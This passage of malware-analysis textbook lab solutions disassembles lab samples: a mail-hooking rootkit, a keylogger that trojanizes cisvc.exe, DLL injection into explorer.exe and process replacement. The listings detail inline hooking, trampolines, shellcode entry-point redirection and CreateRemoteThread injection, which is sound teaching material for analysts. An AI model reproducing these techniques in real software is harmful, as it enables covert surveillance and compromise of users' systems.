process name. Listing 11-9L contains code from the first of these functions, 
sub_10001075.

1000107D         push    offset Filename         ; lpFilename
10001082         mov     eax, [ebp+hModule]
10001085         push    eax                     ; hModule
10001086         call    ds:GetModuleFileNameA 
1000108C         mov     ecx, [ebp+arg_4]   
1000108F         mov     dword ptr [ecx], offset Filename

Listing 11-9L: Calling GetModuleFileNameA to get the current process name

As you can see, GetModuleFileNameA is called at , and it returns the full 
path to the process in which the DLL is loaded because the argument hModule 
is set to 0 before the call to this function. Next, the malware returns the 
name in arg_4 (the string pointer passed to the function). This string is 
passed to two more functions, which parse the filename and change all of 
its characters to uppercase. 

NOTE Malware that uses AppInit_DLLs as a persistence mechanism commonly uses 
GetModuleFileNameA. This malicious DLL is loaded into just about every process 
that starts on the system. Because malware authors may want to target only certain 
processes, they must determine the name of the process in which their malicious code is 
running. 

Next, the current process name in uppercase letters is compared to the 
process names THEBAT.EXE, OUTLOOK.EXE, and MSIMN.EXE. If the string does not 
equal one of these filenames, the malware will exit. However, if the malware 
has been loaded into one of these three processes, the malicious code seen 
in Listing 11-10L will execute.

10001561         call    sub_100013BD 
10001566         push    offset dword_10003484   ; int
1000156B         push    offset sub_1000113D ; int
10001570         push    offset aSend            ; "send"
10001575         push    offset aWsock32_dll     ; "wsock32.dll"
1000157A         call    sub_100012A3 
1000157F         add     esp, 10h
10001582         call    sub_10001499  

Listing 11-10L: Malicious code that sets an inline hook

Listing 11-10L has several functions for us to analyze. Inside , we 
see calls to GetCurrentProcessId and then sub_100012FE, which we rename to 
suspend_threads. The suspend_threads function calls GetCurrentThreadId, which 
returns a thread identifier (TID) of the current thread of execution. Next, 
suspend_threads calls CreateToolhelp32Snapshot and uses the result to loop 
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through all of the TIDs for the current process. If a TID is not the current 
thread, then SuspendThread is called using the TID. We can conclude that the 
function called at  suspends all executing threads in the current process.

Conversely, the function called at  does the exact opposite: It resumes 
all of the threads using calls to ResumeThread. We conclude that the code in 
Listing 11-10L is surrounded by two functions that suspend and then resume 
execution. This behavior is common when malware is making a change that 
could impact current execution, such as changing memory or installing an 
inline hook. 

Next, we examine the code in the call at . The function sub_100012A3 
takes four arguments, as shown by the series of pushes in Listing 11-10L. 
Since this function is called only from this location, we can rename all of the 
arguments to match what is passed to the function, as shown in Listing 11-11L 
beginning at .

100012A3 sub_100012A3 proc near
100012A3
100012A3 lpAddress= dword ptr -8
100012A3 hModule = dword ptr -4
100012A3 wsock32_DLL= dword ptr  8 
100012A3 send_function= dword ptr  0Ch
100012A3 p_sub_1000113D= dword ptr  10h
100012A3 p_dword_10003484= dword ptr  14h
100012A3
100012A3         push    ebp
100012A4         mov     ebp, esp
100012A6         sub     esp, 8
100012A9         mov     eax, [ebp+wsock32_DLL]
100012AC         push    eax                     ; lpModuleName
100012AD         call    ds:GetModuleHandleA 
...
100012CF         mov     edx, [ebp+send_function]
100012D2         push    edx                     ; lpProcName
100012D3         mov     eax, [ebp+hModule]
100012D6         push    eax                     ; hModule
100012D7         call    ds:GetProcAddress 
100012DD         mov     [ebp+lpAddress], eax

Listing 11-11L: sub_100012A3 resolving the send function

In Listing 11-11L, we see a handle to wsock32.dll obtained using 
GetModuleHandleA at . That handle is passed to GetProcAddress to resolve the 
send function at . The malware ends up passing the address of the send 
function and the two other parameters (sub_1000113D and dword_10003484) to 
sub_10001203, which we renamed place_hook. 

Now, we examine place_hook and rename the arguments accordingly in 
order to aid our analysis. Listing 11-12L shows the start of place_hook.
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10001209         mov     eax, [ebp+_sub_1000113D]
1000120C         sub     eax, [ebp+send_address]
1000120F         sub     eax, 5
10001212         mov     [ebp+var_4], eax 

Listing 11-12L: Address calculation for the jump instruction

The code in Listing 11-12L calculates the difference between the mem-
ory address of the send function and the start of sub_1000113D. This difference 
has an additional 5 bytes subtracted from it before being moved into var_4 
at . var_4 is used later in the code and prepended with 0xE9 (the opcode for 
jmp), making this a 5-byte instruction to jump to sub_1000113D. 

Let’s see how the malware installs this code as a hook later in place_hook. 
The start of the send function is modified by the instructions shown in 
Listing 11-13L.

10001271         mov     edx, [ebp+send_address]
10001274         mov     byte ptr [edx], 0E9h 
10001277         mov     eax, [ebp+send_address]
1000127A         mov     ecx, [ebp+var_4]
1000127D         mov     [eax+1], ecx 

Listing 11-13L: The inline hook installation

At , the code copies the 0xE9 opcode into the start of the send function. 
Following that, it copies var_4 into memory just after the 0xE9 at . Recall from 
Listing 11-12L that var_4 contains the destination of the jump, sub_1000113D. 
The code in Listing 11-13L places a jmp instruction at the beginning of the 
send function that jumps to the function in our DLL at sub_1000113D, which 
we’ll now rename hook_function. 

Before we examine hook_function, let’s wrap up our analysis of the inline 
hook installation. Listing 11-14L shows place_hook manipulating memory.

10001218         push    ecx                     ; lpflOldProtect
10001219         push    PAGE_EXECUTE_READWRITE  ; flNewProtect 
1000121B         push    5                       ; dwSize
1000121D         mov     edx, [ebp+send_address]
10001220         push    edx                     ; lpAddress
10001221         call    ds:VirtualProtect 
10001227         push    0FFh                    ; Size
1000122C         call    malloc
10001231         add     esp, 4
10001234         mov     [ebp+var_8], eax 

Listing 11-14L: place_hook (sub_10001203) manipulating memory

In Listing 11-14L, place_hook calls VirtualProtect at  on the start of the 
send function code. This action changes the memory protection to execute, 
read, and write access, thereby allowing the malware to modify the instruc-
tions of the send function. Another call to VirtualProtect at the end of the 
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function restores the original memory-protection settings. Then, immedi-
ately after calling VirtualProtect, the malware allocates 0xFF bytes of memory 
using malloc and stores the result in var_8 at . Because this dynamically allo-
cated memory will play an important role in the installation of our hook as a 
trampoline, we’ll rename var_8 to trampoline. 

NOTE In order for this to execute properly, the memory returned by the call to malloc must be 
executable memory, which might not always be the case if, for example, Data Execution 
Prevention (DEP) is enabled via /Noexecute=alwayson or similar.

Listing 11-15L shows the creation of the trampoline’s code.

10001246         push    5                       ; Size
10001248         mov     eax, [ebp+send_address]
1000124B         push    eax                     ; Src
1000124C         mov     ecx, [ebp+trampoline]
1000124F         add     ecx, 5
10001252         push    ecx                     ; Dst
10001253         call    memcpy 
10001258         add     esp, 0Ch
1000125B         mov     edx, [ebp+trampoline]
1000125E         mov     byte ptr [edx+0Ah], 0E9h 
10001262         mov     eax, [ebp+send_address]
10001265         sub     eax, [ebp+trampoline]
10001268         sub     eax, 0Ah
1000126B         mov     ecx, [ebp+trampoline]
1000126E         mov     [ecx+0Bh], eax 

Listing 11-15L: Trampoline creation for the inline hook

In Listing 11-15L, the memcpy at  copies the first 5 bytes of the send func-
tion into the trampoline. Since the malware overwrites the first 5 bytes of the 
send instruction (Listing 11-13L), it needs to make sure that the original 
instructions are saved. The malware assumes that the send function’s first sev-
eral instructions align exactly on 5 bytes, which might not always be the case. 

Next, the malware adds a jmp instruction to the trampoline code at  
and . At , the 0xE9 opcode is added. At , the location to jump is added. 
The jump location is calculated by subtracting the location of the trampoline 
from the location of the send function (meaning it will jump back to the send 
function).

Finally, place_hook ends by setting the global variable dword_10003484 to the 
trampoline location. We rename dword_10003484 to trampoline_function to aid 
analysis.

Next, we analyze hook_function (sub_1000113D), which will have the same 
arguments as the send function since it is installed as a hook. We begin our 
analysis by right-clicking the function name, selecting Set Function Type, and 
entering the following:

int __stdcall hook_function(SOCKET s, char * buf, int len, int flags)
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The hook function looks for the string RCPT TO: in buf. If the string isn’t 
found, the malware just calls trampoline_function, which causes send to operate 
as it did before the hook was installed. Otherwise, the code in Listing 11-16L 
will execute.

1000116D         push    offset aRcptTo_1        ; "RCPT TO: <" 
10001172         lea     ecx, [ebp+Dst]
10001178         push    ecx                     ; Dst
10001179         call    memcpy
...
10001186         push    offset email_address    ; Src 
...
10001198         lea     edx, [ebp+eax+Dst]
1000119F         push    edx                     ; Dst
100011A0         call    memcpy
100011A8         push    offset Source           ; ">\r\n" 
100011AD         lea     eax, [ebp+Dst]
100011B3         push    eax                     ; Dest
100011B4         call    strcat

Listing 11-16L: Creating the string to add a recipient

The code in Listing 11-16L builds a string that is added to the outgoing 
buffer. This string starts with RCPT TO: < at , followed by email_address at , 
and ends with >\r\n at . The email_address value in this case is billy@
malwareanalysisbook.com (extracted from Lab11-02.ini, as explained earlier 
when we looked at the contents of that file). This code adds a recipient to 
all outgoing email messages.

Low-Level Hook Operation Summary

Here’s a summary of the hook’s operation (also illustrated at a high-level in 
Figure 11-4L, shown earlier):

 The program calls the send function.

 The first instruction of the send function transfers execution to 
sub_1000113D.

 sub_1000113D manipulates the outgoing buffer only if it contains a RCPT TO 
string.

 sub_1000113D calls the trampoline code located on the heap and pointed 
to by dword_10003484.

 The trampoline code executes the first three original instructions of the 
send function (which it overwrote to install the hook).

 The trampoline code jumps back to the send function 5 bytes in, so that 
send can function normally.

Examining the Hook in OllyDbg

We can examine the inline hook using OllyDbg by installing the malware 
and then launching Outlook Express. (Outlook Express is bundled with 
Microsoft Windows XP and runs as msimn.exe.) We attach to the process using 
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FileAttach and selecting msimn.exe from the process listing. Attaching to a 
process immediately pauses all of the threads. If we examine the memory 
map, we see that spoolvxx32.dll is loaded in the process because it is an 
AppInit_DLLs value.

Next, we examine send by pressing CTRL-G and entering send in the text 
box. Figure 11-5L shows the start of the send function with the jmp hook to 
sub_1000113D. (If you like, you can set a breakpoint at this jump and analyze 
the code during runtime.)

Figure 11-5L: Examining the inline hook for the send 
function in msimn.exe

Capturing the Network Traffic

To capture this malware in action and see how it manipulates network traffic, 
set up a safe environment as follows:

1. Turn on host-only networking in your virtual machine.

2. Install the malware on your virtual machine with the command 
rundll32.exe Lab11-02.exe,installer.

3. Copy Lab11-02.ini into C:\Windows\System32\ .

4. Launch Wireshark and start capturing packets on the virtual machine 
network interface. 

5. Set up Outlook Express to send email to the host system.

6. Run a fake mail server on your host machine with the command python 
-m smtpd -n -c DebuggingServer IP:25, where IP is the IP address of the host 
machine.

7. Send an email from Outlook Express.

8. Review the packet capture in Wireshark and select Follow TCP Stream 
on the email message.

Summary

Lab 11-2 is a malicious DLL that exports installer, which installs the malware 
persistently using AppInit_DLLs, causing the malware to be loaded into most 
processes. The malware checks to see if it is loaded into a mail client by using 
a preset list of process names to target. If the malware determines that it is 
running inside one of these processes, it will act as a user-mode rootkit by 
installing an inline hook for the send function. The hook takes the form of a 
jmp instruction placed at the beginning of the send function. The hook exe-
cutes a function that scans every data buffer passed to the send function and 
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searches for RCPT TO. If the malware finds the RCPT TO string, it inserts an addi-
tional RCPT TO containing an email address retrieved by decoding Lab11-02.ini, 
essentially copying the malware author on every email sent from the targeted 
email programs.

Lab 11-3 Solutions

Short Answers
1. Lab11-03.exe contains the strings inet_epar32.dll and net start cisvc, which 

means that it probably starts the CiSvc indexing service. Lab11-03.dll con-
tains the string C:\WINDOWS\System32\kernel64x.dll and imports the API calls 
GetAsyncKeyState and GetForegroundWindow, which makes us suspect it is a key-
logger that logs to kernel64x.dll.

2. The malware starts by copying Lab11-03.dll to inet_epar32.dll in the Win-
dows system directory. The malware writes data to cisvc.exe and starts the 
indexing service. The malware also appears to write keystrokes to C:\
Windows\System32\kernel64x.dll.

3. The malware persistently installs Lab11-03.dll by trojanizing the indexing 
service by entry-point redirection. It redirects the entry point to run 
shellcode, which loads the DLL.

4. The malware infects cisvc.exe to load inet_epar32.dll and call its export 
zzz69806582.

5. Lab11-03.dll is a polling keylogger implemented in its export zzz69806582.

6. The malware stores keystrokes and the window into which keystrokes 
were entered to C:\Windows\System32\kernel64x.dll.

Detailed Analysis
We’ll begin our analysis by examining the strings and imports for Lab11-03.exe 
and Lab11-03.dll. Lab11-03.exe contains the strings inet_epar32.dll and net start 
cisvc. The net start command is used to start a service on a Windows machine, 
but we don’t yet know why the malware would be starting the indexing service 
on the system, so we’ll dig down during in-depth analysis.

Lab11-03.dll contains the string C:\WINDOWS\System32\kernel64x.dll and 
imports the API calls GetAsyncKeyState and GetForegroundWindow, which makes 
us suspect it is a keylogger that logs keystrokes to kernel64x.dll. The DLL also 
contains an oddly named export: zzz69806582.

Next, we use dynamic analysis techniques to see what the malware does 
at runtime. We set up procmon and filter on Lab11-03.exe to see the malware 
create C:\Windows\System32\inet_epar32.dll. The DLL inet_epar32.dll is identical 
to Lab11-03.dll, which tells us that the malware copies Lab11-03.dll to the 
Windows system directory. 

Further in the procmon output, we see the malware open a handle to 
cisvc.exe, but we don’t see any WriteFile operations.
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Finally, the malware starts the indexing service by issuing the command 
net start cisvc. Using Process Explorer, we see that cisvc.exe is now running 
on the system. Since we suspect that the malware might be logging keystrokes, 
we open notepad.exe and enter a bunch of a characters. We see that kernel64x.dll 
is created. Suspecting that keystrokes are logged, we open kernel64x.dll in a hex 
editor and see the following output:

Untitled - Notepad: 0x41 
Untitled - Notepad: 0x41 
Untitled - Notepad: 0x41 
Untitled - Notepad: 0x41 

Our keystrokes have been logged to kernel64x.dll. We also see that the 
program in which we typed our keystrokes (Notepad) has been logged along 
with the keystroke data in hexadecimal. (The malware doesn’t turn the hexa-
decimal values into readable strings, so the malware author probably has a 
postprocessing script to more easily read what is entered.)

Next, we use in-depth techniques to determine why the malware is start-
ing a service and how the keylogger is gaining execution. We begin by load-
ing Lab11-03.exe into IDA Pro and examining the main function, as shown in 
Listing 11-17L.

004012DB         push    offset NewFileName      ; "C:\\WINDOWS\\System32\\
inet_epar32.dll"

004012E0         push    offset ExistingFileName ; "Lab11-03.dll"
004012E5         call    ds:CopyFileA 
004012EB         push    offset aCisvc_exe       ; "cisvc.exe"
004012F0         push    offset Format           ; "C:\\WINDOWS\\System32\\%s"
004012F5         lea     eax, [ebp+FileName]
004012FB         push    eax                     ; Dest
004012FC         call    _sprintf
00401301         add     esp, 0Ch
00401304         lea     ecx, [ebp+FileName]
0040130A         push    ecx                     ; lpFileName
0040130B         call    sub_401070 
00401310         add     esp, 4
00401313         push    offset aNetStartCisvc   ; "net start cisvc" 
00401318         call    system 

Listing 11-17L: Reviewing the main method of Lab11-03.exe

At , we see that the main method begins by copying Lab11-03.dll to 
inet_epar32.dll in C:\Windows\System32. Next, it builds the string C:\WINDOWS\
System32\cisvc.exe and passes it to sub_401070 at . Finally, the malware starts 
the indexing service by using system to run the command net start cisvc at .

We focus on sub_401070 to see what it might be doing with cisvc.exe. There 
is a lot of confusing code in sub_401070, so take a high-level look at this func-
tion using the cross-reference diagram shown in Figure 11-6L.
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Figure 11-6L: Cross-reference graph for sub_401070

Using this diagram, we see that sub_401070 maps the cisvc.exe file into mem-
ory in order to manipulate it with calls to CreateFileA, CreateFileMappingA, and 
MapViewOfFile. All of these functions open the file for read and write access. 
The starting address of the memory-mapped view returned by MapViewOfFile 
(labeled lpBaseAddress by IDA Pro) is both read and written to. Any changes 
made to this file will be written to disk after the call to UnmapViewOfFile, which 
explains why we didn’t see a WriteFile function in the procmon output.

Several calculations and checks appear to be made on the PE header of 
cisvc.exe. Rather than analyze these complex manipulations, let’s focus on the 
data written to the file, and then extract the version of cisvc.exe written to disk 
for analysis. 

A buffer is written to the memory-mapped file, as shown in Listing 11-18L.

0040127C         mov     edi, [ebp+lpBaseAddress] 
0040127F         add     edi, [ebp+var_28]
00401282         mov     ecx, 4Eh
00401287         mov     esi, offset byte_409030 
0040128C         rep movsd

Listing 11-18L: Writing 312 bytes of shellcode into cisvc.exe

At , the mapped location of the file is moved into EDI and adjusted 
by some offset using var_28. Next, ECX is loaded with 0x4E, the number of 
DWORDs to write (movsd). Therefore, the total number of bytes is 0x4E * 4 = 312 
bytes in decimal. Finally, byte_409030 is moved into ESI at , and rep movsd 
copies the data at byte_409030 into the mapped file. We examine the data at 
0x409030 and see the bytes in the left side of Table 11-1L.

The left side of the table contains raw bytes, but if we put the cursor at 
0x409030 and press C in IDA Pro, we get the disassembly shown in the right 
side of the table. This is shellcode—handcrafted assembly that, in this case, is 

Table 11-1L: The Shellcode Written to cisvc.exe

Raw bytes Disassembly

00409030 unk_409030 db  55h

00409031            db  89h
00409032            db 0E5h
00409033            db  81h
00409034            db 0ECh
00409035            db  40h

00409030         push    ebp
00409031         mov     ebp, esp
00409033         sub     esp, 40h
00409039         jmp     loc_409134
Solu t ions to Labs 583



used for process injection. Rather than analyze the shellcode (doing so can 
be a bit complicated and messy), we’ll guess at what it does based on the 
strings it contains. 

Toward the end of the 312 bytes of shellcode, we see two strings:

00409139 aCWindowsSystem   db 'C:\WINDOWS\System32\inet_epar32.dll',0
0040915D aZzz69806582      db 'zzz69806582',0

The appearance of the path to inet_epar32.dll and the export zzz69806582 
suggest that this shellcode loads the DLL and calls its export. 

Next, we compare the cisvc.exe binary as it exists after we run the malware 
to a clean version that existed before the malware was run. (Most hex editors 
provide a comparison tool.) Comparing the versions, we see two differences: 
the insertion of 312 bytes of shellcode and only a 2-byte change in the PE 
header. We load both of these binaries into PEview to see if we notice a dif-
ference in the PE header. This comparison is shown in Figure 11-7L.

Figure 11-7L: PEview of original and trojanized versions of cisvc.exe

The top part of Figure 11-7L shows the original cisvc.exe (named 
cisvc_original.exe) loaded into PEview, and the bottom part shows the tro-
janized cisvc.exe. At  and , we see that the entry point differs in the two 
binaries. If we load both binaries into IDA Pro, we see that the malware has 
performed entry-point redirection so that the shellcode runs before the 
original entry point any time that cisvc.exe is launched. Listing 11-19L shows 
a snippet of the shellcode in the trojanized version of cisvc.exe.

01001B0A         call    dword ptr [ebp-4] 
01001B0D         mov     [ebp-10h], eax
01001B10         lea     eax, [ebx+24h]
01001B16         push    eax
01001B17         mov     eax, [ebp-10h] 
01001B1A         push    eax

�

�
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01001B1B         call    dword ptr [ebp-0Ch] 
01001B1E         mov     [ebp-8], eax
01001B21         call    dword ptr [ebp-8] 
01001B24         mov     esp, ebp
01001B26         pop     ebp
01001B27         jmp     _wmainCRTStartup 

Listing 11-19L: Important calls within the shellcode inside the trojanized cisvc.exe

Now we load the trojanized version of cisvc.exe into a debugger and set 
a breakpoint at 0x1001B0A. We find that at , the malware calls LoadLibrary 
to load inet_epar32.dll into memory. At , the malware calls GetProcAddress 
with the argument zzz69806582 to get the address of the exported function. 
At , the malware calls zzz69806582. Finally, the malware jumps to the origi-
nal entry point at , so that the service can run as it would normally. The 
shellcode’s function matches our earlier suspicion that it loads inet_epar32.dll 
and calls its export.

Keylogger Analysis

Next, we analyze inet_epar32.dll, which is the same as Lab11-03.dll. We load 
Lab11-03.dll into IDA Pro and begin to analyze the file. The majority of the 
code stems from the zzz69806582 export. This export starts a thread and 
returns, so we will focus on analyzing the thread, as shown in Listing 11-20L.

1000149D         push    offset Name             ; "MZ"
100014A2         push    1                       ; bInitialOwner
100014A4         push    0                       ; lpMutexAttributes
100014A6         call    ds:CreateMutexA 
...
100014BD         push    0                       ; hTemplateFile
100014BF         push    80h                     ; dwFlagsAndAttributes
100014C4         push    4                       ; dwCreationDisposition
100014C6         push    0                       ; lpSecurityAttributes
100014C8         push    1                       ; dwShareMode
100014CA         push    0C0000000h              ; dwDesiredAccess
100014CF         push    offset FileName         ; "C:\\WINDOWS\\System32\\

kernel64x.dll"
100014D4         call    ds:CreateFileA 

Listing 11-20L: Mutex and file creation performed by the thread created by zzz69806582

At , the malware creates a mutex named MZ. This mutex prevents the 
malware from running more than one instance of itself, since a previous call 
to OpenMutex (not shown) will terminate the thread if the mutex MZ already 
exists. Next, at , the malware opens or creates a file named kernel64x.dll for 
writing. 

After getting a handle to kernel64x.dll, the malware sets the file pointer to 
the end of the file and calls sub_10001380, which contains a loop. This loop 
contains calls to GetAsyncKeyState, GetForegroundWindow, and WriteFile. This is 
consistent with the keylogging method we discussed in “User-Space Keylog-
gers” on page 239.
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Summary

Lab11-03.exe trojanizes and then starts the Windows indexing service (cisvc.exe). 
The trojan shellcode loads a DLL and calls an exported function that 
launches a keylogger. The export creates the mutex MZ and logs all key-
strokes to kernel64x.dll in the Windows system directory.

Lab 12-1 Solutions

Short Answers
1. After you run the malware, pop-up messages are displayed on the screen 

every minute.

2. The process being injected is explorer.exe.

3. You can restart the explorer.exe process.

4. The malware performs DLL injection to launch Lab12-01.dll within 
explorer.exe. Once Lab12-01.dll is injected, it displays a message box on 
the screen every minute with a counter that shows how many minutes 
have elapsed. 

Detailed Analysis
Let’s begin with basic static analysis. Examining the imports for Lab12-01.exe, 
we see CreateRemoteThread, WriteProcessMemory, and VirtualAllocEx. Based on the 
discussion in Chapter 12, we know that we are probably dealing with some 
form of process injection. Therefore, our first goal should be to determine 
the code that is being injected and into which process. Examining the strings 
in the malware, we see some notable ones, including explorer.exe, Lab12-01.dll, 
and psapi.dll.

Next, we use basic dynamic techniques to see what the malware does 
when it runs. When we run the malware, it creates a message box every min-
ute (quite annoying when you are trying to use analysis tools). Procmon 
doesn’t have any useful information, Process Explorer shows no obvious 
process running, and no network functions appear to be imported, so we 
shift to IDA Pro to determine what is producing the message boxes.

A few lines from the start of the main function, we see the malware resolv-
ing functions for Windows process enumeration within psapi.dll. Listing 12-1L 
contains one example of the three functions the malware manually resolves 
using LoadLibraryA and GetProcAddress. 

0040111F         push    offset ProcName         ; "EnumProcessModules"
00401124         push    offset LibFileName      ; "psapi.dll"
00401129         call    ds:LoadLibraryA
0040112F         push    eax                     ; hModule
00401130         call    ds:GetProcAddress
00401136         mov dword_408714, eax

Listing 12-1L: Dynamically resolving process enumeration imports
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The malware saves the function pointers to dword_408714, dword_40870C, 
and dword_408710. We can change these global variables to more easily 
identify the function being called later in our analysis by renaming them 
myEnumProcessModules, myGetModuleBaseNameA, and myEnumProcesses. In Listing 12-1L, 
we should rename dword_408714 to myEnumProcessModules at .

After the dynamic resolution of the functions, the code calls dword_408710 
(EnumProcesses), which retrieves a PID for each process object in the system. 
EnumProcesses returns an array of the PIDs referenced by the local variable 
dwProcessId. dwProcessId is used in a loop to iterate through the process list 
and call sub_401000 for each PID. 

When we examine sub_401000, we see that the dynamically resolved 
import EnumProcessModules is called after OpenProcess for the PID passed to 
the function. Next, we see a call to dword_40870C (GetModuleBaseNameA) at , 
as shown in Listing 12-2L. 

00401078         push    104h
0040107D         lea     ecx, [ebp+Str1]
00401083         push    ecx
00401084         mov     edx, [ebp+var_10C]
0040108A         push    edx
0040108B         mov     eax, [ebp+hObject]
0040108E         push    eax
0040108F         call    dword_40870C          ; GetModuleBaseNameA
00401095         push    0Ch                     ; MaxCount
00401097         push    offset Str2             ; "explorer.exe"
0040109C         lea     ecx, [ebp+Str1]
004010A2         push    ecx                     ; Str1
004010A3         call    _strnicmp 

Listing 12-2L: Strings compared against explorer.exe 

The dynamically resolved function GetModuleBaseNameA is used to translate 
from the PID to the process name. After this call, we see a comparison at  
between the strings obtained with GetModuleBaseNameA (Str1) and explorer.exe 
(Str2). The malware is looking for the explorer.exe process in memory. 

Once explorer.exe is found, the function at sub_401000 will return 1, and 
the main function will call OpenProcess to open a handle to it. If the malware 
obtains a handle to the process successfully, the code in Listing 12-3L will 
execute, and the handle hProcess will be used to manipulate the process. 

0040128C         push    4                       ; flProtect
0040128E         push    3000h                   ; flAllocationType
00401293         push    104h  ; dwSize
00401298         push    0                       ; lpAddress
0040129A         mov     edx, [ebp+hProcess]
004012A0         push    edx                     ; hProcess
004012A1         call    ds:VirtualAllocEx 
004012A7         mov     [ebp+lpParameter], eax 
004012AD         cmp     [ebp+lpParameter], 0
004012B4         jnz     short loc_4012BE
...
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004012BE         push    0                       ; lpNumberOfBytesWritten
004012C0         push    104h                    ; nSize
004012C5         lea     eax, [ebp+Buffer]
004012CB         push    eax                     ; lpBuffer
004012CC         mov     ecx, [ebp+lpParameter]
004012D2         push    ecx                     ; lpBaseAddress
004012D3         mov     edx, [ebp+hProcess]
004012D9         push    edx                     ; hProcess
004012DA         call    ds:WriteProcessMemory 

Listing 12-3L: Writing a string to a remote process

In Listing 12-3L, we see a call to VirtualAllocEx at . This dynamically 
allocates memory in the explorer.exe process: 0x104 bytes are allocated by 
pushing dwSize at . If VirtualAllocEx is successful, a pointer to the allocated 
memory will be moved into lpParameter at , to be passed with the process 
handle to WriteProcessMemory at , in order to write data to explorer.exe. The 
data written to the process is referenced by the Buffer parameter in bold. 

In order to understand what is injected, we trace the code back to where 
Buffer is set. We find it set to the path of the current directory appended with 
Lab12-01.dll. We can now conclude that this malware writes the path of 
Lab12-01.dll into the explorer.exe process. 

If the malware successfully writes the path of the DLL into explorer.exe, the 
code in Listing 12-4L will execute.

004012E0         push    offset ModuleName       ; "kernel32.dll"
004012E5         call    ds:GetModuleHandleA
004012EB         mov     [ebp+hModule], eax
004012F1         push    offset aLoadlibrarya    ; "LoadLibraryA"
004012F6         mov     eax, [ebp+hModule]
004012FC         push    eax                     ; hModule
004012FD         call    ds:GetProcAddress
00401303         mov     [ebp+lpStartAddress], eax 
00401309         push    0                       ; lpThreadId
0040130B         push    0                       ; dwCreationFlags
0040130D         mov     ecx, [ebp+lpParameter]
00401313         push    ecx                     ; lpParameter
00401314         mov     edx, [ebp+lpStartAddress]
0040131A         push    edx  ; lpStartAddress
0040131B         push    0                       ; dwStackSize
0040131D         push    0                       ; lpThreadAttributes
0040131F         mov     eax, [ebp+hProcess]
00401325         push    eax                     ; hProcess
00401326         call    ds:CreateRemoteThread

Listing 12-4L: Creating the remote thread 

In Listing 12-4L, the calls to GetModuleHandleA and GetProcAddress (in bold) will 
be used to get the address to LoadLibraryA. The address of LoadLibraryA will be 
the same in explorer.exe as it is in the malware (Lab12-01.exe) with the address of 
LoadLibraryA inserted into lpStartAddress shown at . lpStartAddress is provided 
to CreateRemoteThread at  in order to force explorer.exe to call LoadLibraryA. 
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The parameter for LoadLibraryA is passed via CreateRemoteThread in lpParameter, 
the string containing the path to Lab12-01.dll. This, in turn, starts a thread 
in the remote process that calls LoadLibraryA with the parameter of Lab12-01.dll. 
We can now conclude that this malware executable performs DLL injection 
of Lab12-01.dll into explorer.exe. 

Now that we know where and what is being injected, we can try to stop 
those annoying pop-ups, launching Process Explorer to help us out. As 
shown in Figure 12-1L, we select explorer.exe in the process listing, and then 
choose ViewShow Lower Pane and ViewLower Pane ViewDLLs. 
Scrolling through the resulting window, we see Lab12-01.dll listed as being 
loaded into explorer.exe’s memory space. Using Process Explorer is an easy way 
to spot DLL injection and useful in confirming our IDA Pro analysis. To stop 
the pop-ups, we can use Process Explorer to kill explorer.exe, and then restart it 
by selecting FileRun and entering explorer.

Figure 12-1L: Process Explorer view showing injected DLL

Having analyzed Lab12-01.exe, we move on to Lab12-01.dll to see if it does 
something in addition to creating message boxes. When we analyze Lab12-
01.dll with IDA Pro, we see that it does little more than create a thread that 
then creates another thread. The code in Listing 12-5L is from the first 
thread, a loop that creates a thread every minute (0xEA60 milliseconds). 

10001046         mov     ecx, [ebp+var_18]
10001049         push    ecx
1000104A         push    offset Format    ; "Practical Malware Analysis %d"
1000104F         lea     edx, [ebp+Parameter]
10001052         push    edx                     ; Dest
10001053         call    _sprintf 
10001058         add     esp, 0Ch
1000105B         push    0                       ; lpThreadId
1000105D         push    0                       ; dwCreationFlags
1000105F         lea     eax, [ebp+Parameter]
10001062         push    eax                     ; lpParameter
10001063         push    offset StartAddress  ; lpStartAddress
10001068         push    0                       ; dwStackSize
1000106A         push    0                       ; lpThreadAttributes
1000106C         call    ds:CreateThread
Solu t ions to Labs 589



10001072         push    0EA60h                  ; dwMilliseconds
10001077         call    ds:Sleep
1000107D         mov     ecx, [ebp+var_18]
10001080         add     ecx, 1 
10001083         mov     [ebp+var_18], ecx

Listing 12-5L: Analyzing the thread created by Lab12-01.dll 

The new thread at , labeled StartAddress by IDA Pro, creates the mes-
sage box that says “Press OK to reboot,” and takes a parameter for the title of 
the box that is set by the sprintf at . This parameter is the format string 
"Practical Malware Analysis %d", where %d is replaced with a counter stored in 
var_18 that increments at . We conclude that this DLL does nothing other 
than produce annoying message boxes that increment by one every minute. 

Lab 12-2 Solutions

Short Answers
1. The purpose of this program is to covertly launch another program.

2. The program uses process replacement to hide execution.

3. The malicious payload is stored in the program’s resource section. The 
resource has type UNICODE and the name LOCALIZATION.

4. The malicious payload stored in the program’s resource section is XOR-
encoded. This decode routine can be found at sub_40132C. The XOR byte 
is found at 0x0040141B.

5. The strings are XOR-encoded using the function at sub_401000.

Detailed Analysis
Since we’ve already analyzed this binary in the labs for Chapter 3, let’s begin 
by opening the file with IDA Pro and looking at the function imports. Many 
functions in the list provide little information because they are commonly 
imported by all Windows executables, but a few stand out. Specifically, 
CreateProcessA, GetThreadContext, and SetThreadContext indicate that this pro-
gram creates new processes and is modifying the execution context of pro-
cesses. The imports ReadProcessMemory and WriteProcessMemory tell us that the 
program is reading and writing directly to process memory spaces. The 
imports LockResource and SizeOfResource tell us where data important to the 
process may be stored. We’ll focus first on the purpose of the CreateProcessA 
function call found at location 0x0040115F, as shown in Listing 12-6L. 

00401145         lea     edx, [ebp+ProcessInformation]
00401148         push    edx                   ; lpProcessInformation
00401149         lea     eax, [ebp+StartupInfo]
0040114C         push    eax                     ; lpStartupInfo
0040114D         push    0                       ; lpCurrentDirectory
0040114F         push    0                       ; lpEnvironment
00401151         push    4  ; dwCreationFlags
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00401153         push    0                       ; bInheritHandles
00401155         push    0                       ; lpThreadAttributes
00401157         push    0                       ; lpProcessAttributes
00401159         push    0                       ; lpCommandLine
0040115B         mov     ecx, [ebp+lpApplicationName]
0040115E         push    ecx                     ; lpApplicationName
0040115F         call    ds:CreateProcessA
...
00401191         mov     ecx, [ebp+ProcessInformation.hThread]
00401194         push    ecx                     ; hThread
00401195         call    ds:GetThreadContext 

Listing 12-6L: Creating a suspended process and accessing the main thread’s context

At  in Listing 12-6L, we see a push 4, which IDA Pro labels as the param-
eter dwCreationFlags. The MSDN documentation for CreateProcess tells us that 
this is the CREATE_SUSPENDED flag, which allows the process to be created but not 
started. The process will not execute until the main process thread is started 
via the ResumeThread API. 

At , we see the program accessing the context of a thread. The 
hThread parameter for GetThreadContext comes from the same buffer passed 
to CreateProcessA at , which tells us that the program is accessing the con-
